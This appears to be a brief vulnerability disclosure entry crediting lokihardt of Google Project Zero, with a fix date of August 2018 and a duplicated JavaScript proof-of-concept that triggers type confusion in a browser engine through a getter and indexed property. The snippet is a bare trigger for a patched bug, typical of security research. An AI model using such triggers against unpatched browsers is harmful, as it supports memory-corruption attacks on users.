- Fix: Aug 2018
- Credit: lokihardt of Google Project Zero
let o = {
get a() {},
0: 0, // Deoptimizing object header inlining
a: 0x1234
};
o.a; // Type confusion
let o = {
get a() {},
0: 0, // Deoptimizing object header inlining
a: 0x1234
};
o.a; // Type confusion